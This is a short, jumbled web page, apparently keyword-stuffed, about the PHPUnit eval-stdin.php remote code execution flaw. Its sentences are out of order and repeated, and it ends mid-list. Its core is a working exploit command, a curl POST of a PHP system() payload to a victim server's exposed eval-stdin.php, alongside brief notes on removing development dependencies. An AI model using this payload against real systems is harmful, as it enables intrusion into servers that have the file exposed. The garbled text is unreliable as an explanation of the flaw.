Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit -

: The server executes the payload and returns the command output directly in the HTTP response.

(Note: Deleting one file does not fix the root cause, but it stops automated attacks.) vendor phpunit phpunit src util php eval-stdin.php exploit

curl -X POST https://victim.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "<?php system('id'); ?>" : The server executes the payload and returns

The following code snippet demonstrates a basic example of how to exploit the vulnerability: vendor phpunit phpunit src util php eval-stdin.php exploit

Many developers discover this vulnerability when they deploy complete project directories without pruning development dependencies — a common mistake that attackers actively exploit.

If you suspect exploitation, look for: